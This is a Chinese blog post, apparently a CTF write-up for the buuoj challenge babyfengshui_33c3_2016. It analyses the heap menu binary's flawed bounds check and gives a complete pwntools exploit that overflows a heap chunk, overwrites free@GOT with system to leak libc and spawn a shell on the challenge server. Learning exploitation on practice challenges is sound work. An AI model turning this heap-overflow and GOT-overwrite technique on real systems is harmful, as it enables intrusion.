好久没有更新博客了,因为作者太懒了,又懒又菜,今天来康康这道题,buuoj的babyfengshui_33c3_2016

分析elf文件

checksec一下发现canary保护和NX保护,got表没有保护,且随即地址没有开启。这就意味着got表可写,拖到IDA当中发现是一个经典的堆菜单题,以我现在的水平,那就是先分析它free后指针有无清零。本来一开始看它free了两个堆块,确指将一个指针清零了,以为是有uaf漏洞,但是后面发现不是这样的,它每一条目分一个name和对应的description,name且dscription是用指针指示,并且每个条目固定是80字节的大小,因此可以把一个条目看成一个结构体

1
2
3
4
struct heap{
char name[0x7c];
char *description;
};

所以,我把整个结构体free了之后就相当于把这个description的指针清零了,因此本题不存在uaf漏洞。再观察添加一个项目的函数,发现name是固定长度输入,且用了fgets函数限定输入0x7c字节,整个name那就是不可能溢出了,就连off by null漏洞都不存在。那么这样的话只能看看edit函数了,edit函数它在之前if也会有一个长度输入,并且用了下面这一句if判断,如果为真就直接退出系统

1
if((char *)(v3 + *(_DWORD *)*(&ptr + a1)) >= (char *)*(&ptr + a1) - 4 )

它这个是什么意思呢,翻译成c语言大概就是

1
2
3
4
heap *item
if(item->description+length>=item-4){
exit(0);
}

如果它们的地址之差小于输入的长度,那就退出,如果长度溢出到那个结构体堆块的metadata,那就退出。

看似这个也不能溢出,但是实际上这个能用一个方法绕过。因为如果我们直接分配堆块的话,它们物理地址是相邻的,但是如果它们不物理相邻,中间隔了一个堆块,那就可以任意溢出中间的堆块了。并且got表可写,我们是通过指针找到description的,如果把它溢出改成got表的地址,那么在edit的时候就可以修改got表的条目了。那么我们修改哪个?把free改成system,那么在free(item->description)的时候就会变成system(item->description),如果把item->description的内容改成”/bin/sh”,那么就可以愉快的getshell了。

这便是分析elf文件得到的信息。

编写脚本

先构造交互函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
context.log_level='debug'
def conn(x,file_name):
if x:p=process(file_name)
else:p=remote('node4.buuoj.cn',25740)
return ELF(file_name),p
def add(name,size,k,payload):
p.sendlineafter(b'Action: ',b'0')
p.sendlineafter(b'description: ',str(size).encode())
p.sendlineafter(b'name: ',name)
p.sendlineafter(b'length: ',str(k).encode())
p.sendlineafter(b'text: ',payload)
def free(index):
p.sendlineafter(b'Action: ',b'1')
p.sendlineafter(b'index: ',str(index).encode())
def show(index):
p.sendlineafter(b'Action: ',b'2')
p.sendlineafter(b'index: ',str(index).encode())
def edit(index,payload):
p.sendlineafter(b'Action: ',b'3')
p.sendlineafter(b'index: ',str(index).encode())
p.sendlineafter(b'length: ',str(len(payload)).encode())
p.sendafter(b'text: ',payload)

这里需要特别注意add函数,它有两个长度输入,一个是description的堆块大小,一个是description内容的长度大小。这个name其实没必要弄,因为利用不到,但是我还是弄了。

首先添加两个0x80大小description的堆块,这样得到了两个0x80和0x88的大堆块。free掉第一个堆块,因为都不属于fastbin范围的堆块,那么就会合并成0x108大小的堆块,那么接下来如果我再申请一个0x100大小的description就会得到这个free的堆块,那么就可以在这个堆块上溢出第二个堆块了。

下面是我的完整exp

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *
context.log_level='debug'
def conn(x,file_name):
if x:p=process(file_name)
else:p=remote('node4.buuoj.cn',25740)
return ELF(file_name),p
def add(name,size,k,payload):
p.sendlineafter(b'Action: ',b'0')
p.sendlineafter(b'description: ',str(size).encode())
p.sendlineafter(b'name: ',name)
p.sendlineafter(b'length: ',str(k).encode())
p.sendlineafter(b'text: ',payload)

def free(index):
p.sendlineafter(b'Action: ',b'1')
p.sendlineafter(b'index: ',str(index).encode())
def show(index):
p.sendlineafter(b'Action: ',b'2')
p.sendlineafter(b'index: ',str(index).encode())
def edit(index,payload):
p.sendlineafter(b'Action: ',b'3')
p.sendlineafter(b'index: ',str(index).encode())
p.sendlineafter(b'length: ',str(len(payload)).encode())
p.sendafter(b'text: ',payload)

elf,p=conn(0,'./babyfengshui_33c3_2016')
free_got=elf.got['free']
add(b'a',0x80,0x80,b'a'*0x10)
add(b'a',0x80,0x80,b'a'*0x10)
#add(b'a',0x80,0x80,b'a'*0x10)
add(b'/bin/sh\0',8,8,b'/bin/sh\0')
free(0)
add(b'a',0x100,0x100,b'a'*0x100)
edit(3,0x10c*b'b'+p64(0x89)+b'c'*0x80+p32(0x81)+p32(free_got))
show(1)
free_addr=u32(p.recvuntil(b'\xf7')[-4:])
success('free_addr'+hex(free_addr))
libc=ELF('./libc-2.23.so')
libc_addr=free_addr-libc.sym['free']
success('libc_addr'+hex(libc_addr))
sys=libc_addr+libc.sym['system']

edit(1,p32(sys))
free(2)
#gdb.attach(p)
p.interactive()